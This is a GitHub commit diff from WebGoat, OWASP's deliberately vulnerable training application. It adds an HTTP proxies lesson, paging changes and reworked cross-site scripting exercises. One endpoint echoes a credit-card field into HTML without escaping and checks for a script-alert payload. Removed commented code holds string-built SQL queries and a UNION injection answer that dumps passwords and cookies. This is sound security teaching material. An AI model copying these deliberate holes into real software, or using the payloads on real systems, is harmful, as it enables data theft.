Merge pull request #328 from misfir3/develop

Moved paging to top of content
This commit is contained in:
Nanne Baars 2017-03-02 21:31:04 +01:00 committed by GitHub
commit 2b9185d85f
30 changed files with 722 additions and 617 deletions

View File

@ -298,6 +298,11 @@
<version>1.16.10</version> <version>1.16.10</version>
<scope>provided</scope> <scope>provided</scope>
</dependency> </dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-exec</artifactId>
<version>1.3</version>
</dependency>
</dependencies> </dependencies>
<build> <build>

View File

@ -18,6 +18,10 @@ public class UserSessionData {
//GETTERS & SETTERS //GETTERS & SETTERS
public Object getValue(String key) { public Object getValue(String key) {
if (!userSessionData.containsKey(key)) {
return null;
}
// else
return userSessionData.get(key); return userSessionData.get(key);
} }

View File

@ -54,7 +54,7 @@ define(['jquery',
webgoat.customjs.jquery = $; //passing jquery into custom js scope ... still klunky, but works for now webgoat.customjs.jquery = $; //passing jquery into custom js scope ... still klunky, but works for now
webgoat.customjs.jqueryVuln = $vuln; webgoat.customjs.jqueryVuln = $vuln;
// temporary shim to support dom-xss lesson // temporary shim to support dom-xss assignment
webgoat.customjs.phoneHome = function (e) { webgoat.customjs.phoneHome = function (e) {
console.log('phoneHome invoked'); console.log('phoneHome invoked');
console.log(arguments.callee); console.log(arguments.callee);
@ -97,6 +97,11 @@ define(['jquery',
this.menuController.updateMenu(name); this.menuController.updateMenu(name);
}, },
testRoute: function (param) {
this.lessonController.testHandler(param);
//this.menuController.updateMenu(name);
},
welcomeRoute: function () { welcomeRoute: function () {
render(); render();
this.lessonController.loadWelcome(); this.lessonController.loadWelcome();

View File

@ -114,7 +114,9 @@ define(['jquery',
this.renderFeedback(data.feedback); this.renderFeedback(data.feedback);
this.renderOutput(data.output || ""); this.renderOutput(data.output || "");
if (data.assignmentCompleted) { //TODO: refactor back assignmentCompleted in Java
if (data.lessonCompleted || data.assignmentCompleted) {
this.markAssignmentComplete(); this.markAssignmentComplete();
this.trigger('assignment:complete'); this.trigger('assignment:complete');
} else { } else {
@ -174,7 +176,7 @@ define(['jquery',
pagingControlsDiv = $('<div>',{class:'panel-body', id:'lesson-page-controls'}); pagingControlsDiv = $('<div>',{class:'panel-body', id:'lesson-page-controls'});
pagingControlsDiv.append(prevPageButton); pagingControlsDiv.append(prevPageButton);
pagingControlsDiv.append(nextPageButton); pagingControlsDiv.append(nextPageButton);
this.$el.append(pagingControlsDiv); this.$el.find('.lesson-page-controls').append(pagingControlsDiv);
} }
}, },

View File

@ -62,7 +62,8 @@
<i class="fa fa-user"></i> <span class="caret"></span> <i class="fa fa-user"></i> <span class="caret"></span>
</button> </button>
<ul class="dropdown-menu dropdown-menu-left"> <ul class="dropdown-menu dropdown-menu-left">
<li role="presentation"><a role="menuitem" tabindex="-1" th:href="@{/login(logout)}" th:text="#{logout}">Logout</a></li> <li role="presentation"><a role="menuitem" tabindex="-1" th:href="@{/login(logout)}"
th:text="#{logout}">Logout</a></li>
<li role="presentation" class="divider"></li> <li role="presentation" class="divider"></li>
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">User: <span <li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">User: <span
th:text="${#authentication.name}"></span></a> th:text="${#authentication.name}"></span></a>
@ -73,25 +74,27 @@
</a> </a>
</li> </li>
<li role="presentation" class="divider"></li> <li role="presentation" class="divider"></li>
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#" th:text="#{version}">Version: <span <li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#"
th:text="#{version}">Version: <span
th:text="${@environment.getProperty('webgoat.build.version')}"></span></a> th:text="${@environment.getProperty('webgoat.build.version')}"></span></a>
</li> </li>
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#" th:text="#{build}">Build: <li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#"
th:text="#{build}">Build:
<span th:text="${@environment.getProperty('webgoat.build.number')}"></span></a></li> <span th:text="${@environment.getProperty('webgoat.build.number')}"></span></a></li>
</ul> </ul>
</div> </div>
<div style="display:inline" id="settings"> <div style="display:inline" id="settings">
<!--<button type="button" id="admin-button" class="btn btn-default right_nav_button" title="Administrator">--> <!--<button type="button" id="admin-button" class="btn btn-default right_nav_button" title="Administrator">-->
<!--<i class="fa fa-cog"></i>--> <!--<i class="fa fa-cog"></i>-->
<!--</button>--> <!--</button>-->
<button type="button" id="report-card-button" class="btn btn-default right_nav_button button-up" <button type="button" id="report-card-button" class="btn btn-default right_nav_button button-up"
th:title="#{report.card}"> th:title="#{report.card}">
<a href="#reportCard"><i class="fa fa-bar-chart-o"></i></a> <a href="#reportCard"><i class="fa fa-bar-chart-o"></i></a>
</button> </button>
<!--<button type="button" id="user-management" class="btn btn-default right_nav_button"--> <!--<button type="button" id="user-management" class="btn btn-default right_nav_button"-->
<!--title="User management">--> <!--title="User management">-->
<!--<i class="fa fa-users"></i>--> <!--<i class="fa fa-users"></i>-->
<!--</button>--> <!--</button>-->
</div> </div>
<button type="button" id="about-button" class="btn btn-default right_nav_button" th:title="#{about}" <button type="button" id="about-button" class="btn btn-default right_nav_button" th:title="#{about}"
@ -99,7 +102,8 @@
<i class="fa fa-info"></i> <i class="fa fa-info"></i>
</button> </button>
<a href="mailto:${contactEmail}?Subject=Webgoat%20feedback" target="_top"> <a href="mailto:${contactEmail}?Subject=Webgoat%20feedback" target="_top">
<button type="button" class="btn btn-default right_nav_button" data-toggle="tooltip" th:title="#{contact}"> <button type="button" class="btn btn-default right_nav_button" data-toggle="tooltip"
th:title="#{contact}">
<i class="fa fa-envelope"></i> <i class="fa fa-envelope"></i>
</button> </button>
</a> </a>
@ -140,9 +144,11 @@
id="show-hints-button" th:text="#{show.hints}">Show hints id="show-hints-button" th:text="#{show.hints}">Show hints
</button> </button>
<button class="btn btn-primary btn-xs btn-danger help-button" <button class="btn btn-primary btn-xs btn-danger help-button"
id="show-lesson-overview-button" th:text="#{lesson.overview}">Lesson overview id="show-lesson-overview-button" th:text="#{lesson.overview}">Lesson
overview
</button> </button>
<button class="btn btn-xs help-button" id="restart-lesson-button" th:text="#{reset.lesson}">Reset Lesson <button class="btn btn-xs help-button" id="restart-lesson-button"
th:text="#{reset.lesson}">Reset Lesson
</button> </button>
</div> </div>
@ -151,8 +157,8 @@
<div class="panel"> <div class="panel">
<div id="message" class="info" th:utext="${message}"></div> <div id="message" class="info" th:utext="${message}"></div>
<div class="panel-body" id="lesson-hint"> <div class="panel-body" id="lesson-hint">
<span class="glyphicon-class glyphicon glyphicon-circle-arrow-left" <span class="glyphicon-class glyphicon glyphicon-circle-arrow-left"
id="show-prev-hint"></span> id="show-prev-hint"></span>
<span class="glyphicon-class glyphicon glyphicon-circle-arrow-right" <span class="glyphicon-class glyphicon glyphicon-circle-arrow-right"
id="show-next-hint"></span> id="show-next-hint"></span>
<br/> <br/>
@ -166,6 +172,9 @@
<div class="panel-body" id="lesson-overview"></div> <div class="panel-body" id="lesson-overview"></div>
</div> </div>
</div> </div>
<div class="lesson-page-controls">
</div>
<div class="lesson-content"> <div class="lesson-content">

View File

@ -0,0 +1,34 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>http-proxies</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0-SNAPSHOT</version>
</parent>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.security</groupId>
<artifactId>spring-security-test</artifactId>
<version>4.1.3.RELEASE</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>${junit.version}</version>
<type>jar</type>
<scope>test</scope>
</dependency>
</dependencies>
</project>

View File

@ -0,0 +1,63 @@
package org.owasp.webgoat.plugin;
import com.beust.jcommander.internal.Lists;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.List;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since October 12, 2016
*/
public class HttpProxies extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.GENERAL;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 2;
}
@Override
public String getTitle() {
return "http-proxies.title";
}
@Override
public String getId() {
return "HttpProxies";
}
}

View File

@ -0,0 +1,58 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
/**
* *************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/HttpProxies/intercept-request")
public class HttpBasicsInterceptRequest extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.GET)
public @ResponseBody
AttackResult completed(HttpServletRequest request) throws IOException {
if (request.getHeader("x-request-intercepted").toLowerCase().equals("true") && request.getParameter("changeMe").equals("Requests are tampered easily")) {
return trackProgress(success().feedback("http-proxies.intercept.success").build());
} else {
return trackProgress(failed().feedback("http-proxies.intercept.failure").build());
}
}
}

View File

@ -0,0 +1,51 @@
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro0.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro1.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro2.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro3.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- stripped down without extra comments -->
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntercept.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN" name="intercept-request"
method="POST"
action="/WebGoat/HttpBasics/intercept-request"
enctype="application/json;charset=UTF-8">
<input type="text" value="doesn't matter really" name="changeMe" />
<input type="submit" value="Submit" />
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
</html>

View File

@ -0,0 +1,20 @@
== HTTP Proxy Overview
Many times proxies are used as a way of accessing otehrwise blocked content. A user might connect to server A, which relays content from server B
... Because Server B is blocked wihtin the user's network. That's not the use case we will be dealing with here, but the concept is the same.
HTTP Proxies receive requesets from a client and relay them. They also typically record them. They act as a man-in-the-middle (keep that in mind if you decide to
use a proxy server to connect to some other system that is otherwise blocked). We won't get into HTTP vs HTTPS just yet, but that's an important topic in
relationship to proxies.
=== Proxy Capabilities
Proxies sit between your client and the server the client is talking to. You can record and analyze the requests & responses. You can also use the proxy to
modify (tamper) the requests and responses. Proxies also have automated or semi-automated functions that allow you to gain efficiency in testing and
analyzing the security of a website.
=== Other Uses for Proxies
ZAP specifically can also be used in the development process in a CI/CD, DevOps or otherwise automated build/test environment. This lesson does
not currently have any details on that, but it is worth mentioning. There are a number of examples on the internet of it being integrated into a
CI/CD with Jenkins, maven or other build processes.

View File

@ -0,0 +1,4 @@
http-proxies.title=HTTP Proxies
http-proxies.intercept.success=Well done, you tampered the request as expected
http-proxies.intercept.failure=Please try again. Make sure to make all the changes. And case sensitivity may matter ... or not, you never know!

View File

@ -4,6 +4,8 @@ package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RequestParam;
@ -47,21 +49,44 @@ import java.io.IOException;
@AssignmentPath("/CrossSiteScripting/attack5a") @AssignmentPath("/CrossSiteScripting/attack5a")
public class CrossSiteScriptingLesson5a extends AssignmentEndpoint { public class CrossSiteScriptingLesson5a extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST) @Autowired
UserSessionData userSessionData;
@RequestMapping(method = RequestMethod.GET)
public @ResponseBody AttackResult completed(@RequestParam Integer QTY1, public @ResponseBody AttackResult completed(@RequestParam Integer QTY1,
@RequestParam Integer QTY2, @RequestParam Integer QTY3, @RequestParam Integer QTY2, @RequestParam Integer QTY3,
@RequestParam Integer QTY4, @RequestParam String field1, @RequestParam Integer QTY4, @RequestParam String field1,
@RequestParam Integer field2, HttpServletRequest request) @RequestParam Integer field2, HttpServletRequest request)
throws IOException { throws IOException {
System.out.println("foo"); // System.out.println("foo");
// Should add some QTY validation here. Someone could have fun and enter a negative quantity and get merchanidise and a refund :) // Should add some QTY validation here. Someone could have fun and enter a negative quantity and get merchanidise and a refund :)
double totalSale = QTY1.intValue() * 69.99 + QTY2.intValue() * 27.99 + QTY3.intValue() * 1599.99 + QTY4.intValue() * 299.99; double totalSale = QTY1.intValue() * 69.99 + QTY2.intValue() * 27.99 + QTY3.intValue() * 1599.99 + QTY4.intValue() * 299.99;
userSessionData.setValue("xss-reflected1-complete",(Object)"false");
StringBuffer cart = new StringBuffer(); StringBuffer cart = new StringBuffer();
cart.append("Thank you for shopping at WebGoat. <br />You're support is appreciated<hr />"); cart.append("Thank you for shopping at WebGoat. <br />You're support is appreciated<hr />");
cart.append("<p>We have chaged credit card:" + field1 + "<br />"); cart.append("<p>We have chaged credit card:" + field1 + "<br />");
cart.append( " ------------------- <br />"); cart.append( " ------------------- <br />");
cart.append( " $" + totalSale); cart.append( " $" + totalSale);
return trackProgress(failed().output(cart.toString()).build());
//init state
if (userSessionData.getValue("xss-reflected1-complete") == null) {
userSessionData.setValue("xss-reflected1-complete",(Object)"false");
}
if (field1.toLowerCase().contains("<script>alert('my javascript here')</script>")) {
//return trackProgress()
userSessionData.setValue("xss-reflected-5a-complete","true");
return trackProgress(success()
.feedback("xss-reflected-5a-success")
.output(cart.toString())
.build());
} else {
userSessionData.setValue("xss-reflected1-complete","false");
return trackProgress(success()
.feedback("xss-reflected-5a-failure")
.output(cart.toString())
.build());
}
} }
} }

View File

@ -4,7 +4,16 @@ package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
/*************************************************************************************************** /***************************************************************************************************
@ -39,176 +48,27 @@ import org.owasp.webgoat.assignments.AssignmentPath;
*/ */
@AssignmentPath("/CrossSiteScripting/attack5b") @AssignmentPath("/CrossSiteScripting/attack5b")
public class CrossSiteScriptingLesson5b extends AssignmentEndpoint { public class CrossSiteScriptingLesson5b extends AssignmentEndpoint {
/*
@RequestMapping(method = RequestMethod.POST)
public @ResponseBody AttackResult completed(@RequestParam String userid, HttpServletRequest request) throws IOException {
return injectableQuery(userid);
} @Autowired
UserSessionData userSessionData;
protected AttackResult injectableQuery(String accountName) @RequestMapping(method = RequestMethod.POST)
{ public @ResponseBody
try AttackResult completed(@RequestParam String isReflectedXSS) throws IOException {
{ // init
Connection connection = DatabaseUtilities.getConnection(getWebSession()); System.out.println(userSessionData.getValue("xss-reflected5a-complete"));
String query = "SELECT * FROM user_data WHERE userid = " + accountName;
try //TODO
{ // if (null == userSessionData.getValue("xss-reflected5a-complete") || userSessionData.getValue("xss-reflected-5a-complete").equals("false")) {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, // //userSessionData.setValue("xss-reflected1-complete",(Object)"false");
ResultSet.CONCUR_READ_ONLY); // return trackProgress(success().feedback("xss-reflected-5b-do5a-first").build());
ResultSet results = statement.executeQuery(query); // }
if ((results != null) && (results.first() == true)) if (isReflectedXSS.toLowerCase().equals("no") || isReflectedXSS.toLowerCase().equals("n")) {
{ //return trackProgress()
ResultSetMetaData resultsMetaData = results.getMetaData(); return trackProgress(success().feedback("xss-reflected-5b-success").build());
StringBuffer output = new StringBuffer(); } else {
return trackProgress(success().feedback("xss-reflected-5b-failure").build());
output.append(writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6)
{
return trackProgress(AttackResult.success("You have succeed: " + output.toString()));
} else {
return trackProgress(AttackResult.failed("You are close, try again. " + output.toString()));
}
}
else
{
return trackProgress(AttackResult.failed("No Results Matched. Try Again. "));
// output.append(getLabelManager().get("NoResultsMatched"));
}
} catch (SQLException sqle)
{
return trackProgress(AttackResult.failed(sqle.getMessage()));
}
} catch (Exception e)
{
e.printStackTrace();
return trackProgress(AttackResult.failed( "ErrorGenerating" + this.getClass().getName() + " : " + e.getMessage()));
} }
} }
public String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
SQLException
{
int numColumns = resultsMetaData.getColumnCount();
results.beforeFirst();
StringBuffer t = new StringBuffer();
t.append("<p>");
if (results.next())
{
for (int i = 1; i < (numColumns + 1); i++)
{
t.append(resultsMetaData.getColumnName(i));
t.append(", ");
}
t.append("<br />");
results.beforeFirst();
while (results.next())
{
for (int i = 1; i < (numColumns + 1); i++)
{
t.append(results.getString(i));
t.append(", ");
}
t.append("<br />");
}
}
else
{
t.append ("Query Successful; however no data was returned from this query.");
}
t.append("</p>");
return (t.toString());
}
//
// protected Element parameterizedQuery(WebSession s)
// {
// ElementContainer ec = new ElementContainer();
//
// ec.addElement(getLabelManager().get("StringSqlInjectionSecondStage"));
// if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
// {
// getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
// return (injectableQuery(s));
// }
//
// ec.addElement(new BR());
//
// try
// {
// Connection connection = DatabaseUtilities.getConnection(s);
//
// ec.addElement(makeAccountLine(s));
//
// String query = "SELECT * FROM user_data WHERE last_name = ?";
// ec.addElement(new PRE(query));
//
// try
// {
// PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
// ResultSet.CONCUR_READ_ONLY);
// statement.setString(1, accountName);
// ResultSet results = statement.executeQuery();
//
// if ((results != null) && (results.first() == true))
// {
// ResultSetMetaData resultsMetaData = results.getMetaData();
// ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
// results.last();
//
// // If they get back more than one user they succeeded
// if (results.getRow() >= 6)
// {
// makeSuccess(s);
// }
// }
// else
// {
// ec.addElement(getLabelManager().get("NoResultsMatched"));
// }
// } catch (SQLException sqle)
// {
// ec.addElement(new P().addElement(sqle.getMessage()));
// }
// } catch (Exception e)
// {
// s.setMessage(getLabelManager().get("ErrorGenerating") + this.getClass().getName());
// e.printStackTrace();
// }
//
// return (ec);
// }
//
// protected Element makeAccountLine(WebSession s)
// {
// ElementContainer ec = new ElementContainer();
// ec.addElement(new P().addElement(getLabelManager().get("EnterLastName")));
//
// accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
// Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
// ec.addElement(input);
//
// Element b = ECSFactory.makeButton(getLabelManager().get("Go!"));
// ec.addElement(b);
//
// return ec;
//
// }
*/
} }

View File

@ -3,7 +3,15 @@ package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.IOException;
/*************************************************************************************************** /***************************************************************************************************
@ -38,176 +46,19 @@ import org.owasp.webgoat.assignments.AssignmentPath;
*/ */
@AssignmentPath("/CrossSiteScripting/attack6a") @AssignmentPath("/CrossSiteScripting/attack6a")
public class CrossSiteScriptingLesson6a extends AssignmentEndpoint { public class CrossSiteScriptingLesson6a extends AssignmentEndpoint {
/* @Autowired
@RequestMapping(method = RequestMethod.POST) UserSessionData userSessionData;
public @ResponseBody AttackResult completed(@RequestParam String userid_6a, HttpServletRequest request) throws IOException {
return injectableQuery(userid_6a);
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
} @RequestMapping(method = RequestMethod.POST)
public @ResponseBody
AttackResult completed(@RequestParam String DOMTestRoute) throws IOException {
protected AttackResult injectableQuery(String accountName) if (DOMTestRoute.equals("start.mvc#test/")) {
{ //return trackProgress()
try return trackProgress(success().feedback("xss-reflected-6a-success").build());
{ } else {
Connection connection = DatabaseUtilities.getConnection(getWebSession()); return trackProgress(failed().feedback("xss-reflected-6a-failure").build());
String query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
try
{
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuffer output = new StringBuffer();
output.append(writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
if (results.getRow() >= 6)
{
return trackProgress(AttackResult.success("You have succeed: " + output.toString()));
} else {
return trackProgress(AttackResult.failed("You are close, try again. " + output.toString()));
}
}
else
{
return trackProgress(AttackResult.failed("No Results Matched. Try Again. "));
}
} catch (SQLException sqle)
{
return trackProgress(AttackResult.failed(sqle.getMessage()));
}
} catch (Exception e)
{
e.printStackTrace();
return trackProgress(AttackResult.failed( "ErrorGenerating" + this.getClass().getName() + " : " + e.getMessage()));
} }
} }
public String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) throws IOException,
SQLException
{
int numColumns = resultsMetaData.getColumnCount();
results.beforeFirst();
StringBuffer t = new StringBuffer();
t.append("<p>");
if (results.next())
{
for (int i = 1; i < (numColumns + 1); i++)
{
t.append(resultsMetaData.getColumnName(i));
t.append(", ");
}
t.append("<br />");
results.beforeFirst();
while (results.next())
{
for (int i = 1; i < (numColumns + 1); i++)
{
t.append(results.getString(i));
t.append(", ");
}
t.append("<br />");
}
}
else
{
t.append ("Query Successful; however no data was returned from this query.");
}
t.append("</p>");
return (t.toString());
}
//
// protected Element parameterizedQuery(WebSession s)
// {
// ElementContainer ec = new ElementContainer();
//
// ec.addElement(getLabelManager().get("StringSqlInjectionSecondStage"));
// if (s.getParser().getRawParameter(ACCT_NAME, "YOUR_NAME").equals("restart"))
// {
// getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
// return (injectableQuery(s));
// }
//
// ec.addElement(new BR());
//
// try
// {
// Connection connection = DatabaseUtilities.getConnection(s);
//
// ec.addElement(makeAccountLine(s));
//
// String query = "SELECT * FROM user_data WHERE last_name = ?";
// ec.addElement(new PRE(query));
//
// try
// {
// PreparedStatement statement = connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,
// ResultSet.CONCUR_READ_ONLY);
// statement.setString(1, accountName);
// ResultSet results = statement.executeQuery();
//
// if ((results != null) && (results.first() == true))
// {
// ResultSetMetaData resultsMetaData = results.getMetaData();
// ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
// results.last();
//
// // If they get back more than one user they succeeded
// if (results.getRow() >= 6)
// {
// makeSuccess(s);
// }
// }
// else
// {
// ec.addElement(getLabelManager().get("NoResultsMatched"));
// }
// } catch (SQLException sqle)
// {
// ec.addElement(new P().addElement(sqle.getMessage()));
// }
// } catch (Exception e)
// {
// s.setMessage(getLabelManager().get("ErrorGenerating") + this.getClass().getName());
// e.printStackTrace();
// }
//
// return (ec);
// }
//
// protected Element makeAccountLine(WebSession s)
// {
// ElementContainer ec = new ElementContainer();
// ec.addElement(new P().addElement(getLabelManager().get("EnterLastName")));
//
// accountName = s.getParser().getRawParameter(ACCT_NAME, "Your Name");
// Input input = new Input(Input.TEXT, ACCT_NAME, accountName.toString());
// ec.addElement(input);
//
// Element b = ECSFactory.makeButton(getLabelManager().get("Go!"));
// ec.addElement(b);
//
// return ec;
//
// }
*/
} }

View File

@ -1,95 +0,0 @@
package org.owasp.webgoat.plugin;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 20014 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
*
* For details, please see http://webgoat.github.io
*
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003
*/
@AssignmentPath("/CrossSiteScripting/attack6b")
public class CrossSiteScriptingLesson6b extends AssignmentEndpoint {
@RequestMapping(method = RequestMethod.POST)
public @ResponseBody AttackResult completed(@RequestParam String userid_6b, HttpServletRequest request) throws IOException {
